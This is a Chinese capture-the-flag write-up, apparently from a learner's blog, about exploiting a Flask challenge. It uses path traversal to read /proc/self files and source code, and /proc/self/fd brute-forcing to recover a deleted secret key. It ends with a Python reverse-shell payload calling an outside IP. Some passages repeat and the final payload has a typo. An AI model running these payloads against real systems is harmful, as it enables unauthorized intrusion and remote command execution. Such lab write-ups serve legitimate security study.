参考自:whoami大佬的
然后自己学习的基础知识在这里:Linux的/proc/self/学习 ++ CTF例题。参考自上面大佬的。自己输出学习一下而已。
我自己做的时候,没有想找个文件目录穿越,用那些伪协议,来了个便,然后127.0.0.1的ssrf也尝试
这些都是些啥啊!!!
/proc/self/environ
/proc/self/cmdline
?file= ...
的时候,当然是想到文件包含balabala之类的
。同时还可能用PHP伪协议,php://filter
啦,或者本地的直接file://
,找个file还可以加空格绕过过滤哦,之前有个题做过的,还有?file=http://127.0.0.1/admin.php
这样的ssrf
也未尝不是不行哦,?file=../../../../etc/passwd
这个啦!!!proc/self/environ
和这个,proc/self/cmdline
关于/proc/self/
等等相关的知识点,看这个:
进入题目,一个输入框:
看到url中有个/?url=,本以为是ssrf,但试了试不行,考虑文件包含,我们抓包尝试:
发现确实存在文件包含漏洞。首先尝试直接构造 ?url=../../../../../../../flag
来读取flag失败,看来有过滤
我们要换一种思路,既然存在文件包含,我们不仅可以直接读取文件,也可以通过读取/proc目录中的文件来读取文件。如下,我们读取/proc/self/cmdline
来获取启动当前题目进程的完整命令
也就是看看,这个网页是哪个命令开启的
?url=../../../../../proc/self/cmdline
可知,由python2启动了一个app.py文件,我们读一下这个app.py文件:
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE) # 用open()打开/tmp/secret.txt文件,文件描述符为f
SECRET_KEY = f.read().strip() # 读取secret.txt文件,并将内容赋给SECRET_KEY
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html') # 访问/根目录是渲染search.html
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url) # 创建一个表示远程url的类文件对象,然后像本地文件一样操作这个类文件对象来获取远程数据。
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"search.html
return render_template('search.html', res=value) # 将value(url获取的内容)渲染到search.html页面
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell) # 这里如果key=SECRET_KEY,那么就从URL中获取shell参数并用system函数(无回显)执行。
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
那我们就去/tmp/secret.txt
中看看SECRET_KEY么,,发现不能读取成功,
然后发现,他把这个给删除了,,,
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE) # 用open()打开/tmp/secret.txt文件,文件描述符为f
SECRET_KEY = f.read().strip() # 读取secret.txt文件,,并将内容赋给SECRET_KEY
os.remove(SECRET_FILE) # 删除/tmp/secret.txt文件
但是这时候,前面的知识点中,fd加pid号码,可以看到执行文件的内容
但是不知道号码是哪一个,所以就爆破一下,然后发现第三个就是了
?url=../../../../../../../proc/self/fd/§1§
获取到secret.txt的内容了,9zcrKJMWxk7NVdVhdrrtOq3a3ZyMeNFRstZdE0jjsqw=
。
这时候,我们就可以通过python来反弹shell了,
然后发现,他把这个给删除了,,,
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE) # 用open()打开/tmp/secret.txt文件,文件描述符为f
SECRET_KEY = f.read().strip() # 读取secret.txt文件,,并将内容赋给SECRET_KEY
os.remove(SECRET_FILE) # 删除/tmp/secret.txt文件
但是这时候,前面的知识点中,fd加pid号码,可以看到执行文件的内容
但是不知道号码是哪一个,所以就爆破一下,然后发现第三个就是了
?url=../../../../../../../proc/self/fd/§1§
获取到secret.txt的内容了,9zcrKJMWxk7NVdVhdrrtOq3a3ZyMeNFRstZdE0jjsqw=
。
。。中间另开了次环境,
我tm这个就不好使,总是报错,,,吐了。
后来我重新做的时候,又好了,,,一下子就反弹shell成功了,可能我之前没有进行url编码把,
而且记得python不好时,就换成python3来做
这里面有各种反弹shell的姿势,。这个题的python反弹shell就在里面,和这个wp的poc一摸一样,,,先照抄下来,以后理解理解把,可能有bypass之类的东西。
对python反弹shell代码进行base64编码
这时候,我们就可以通过python来反弹shell了,
构造如下:
这个是哪个python的反弹shell 的那一块
shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xx.xx.xxx",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
注意这个ip换成buu上开小号的ip就行了,或者用自己的服务器也可,不过记得打开安全策略,开放端口。不然链接不上
然后payload就是:
/no_one_know_the_manager?key=9zcrKJMWxk7NVdVhdrrtOq3a3ZyMeNFRstZdE0jjsqw=&sehll=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
ip是buu小号的ip
然后就可以反弹shell了。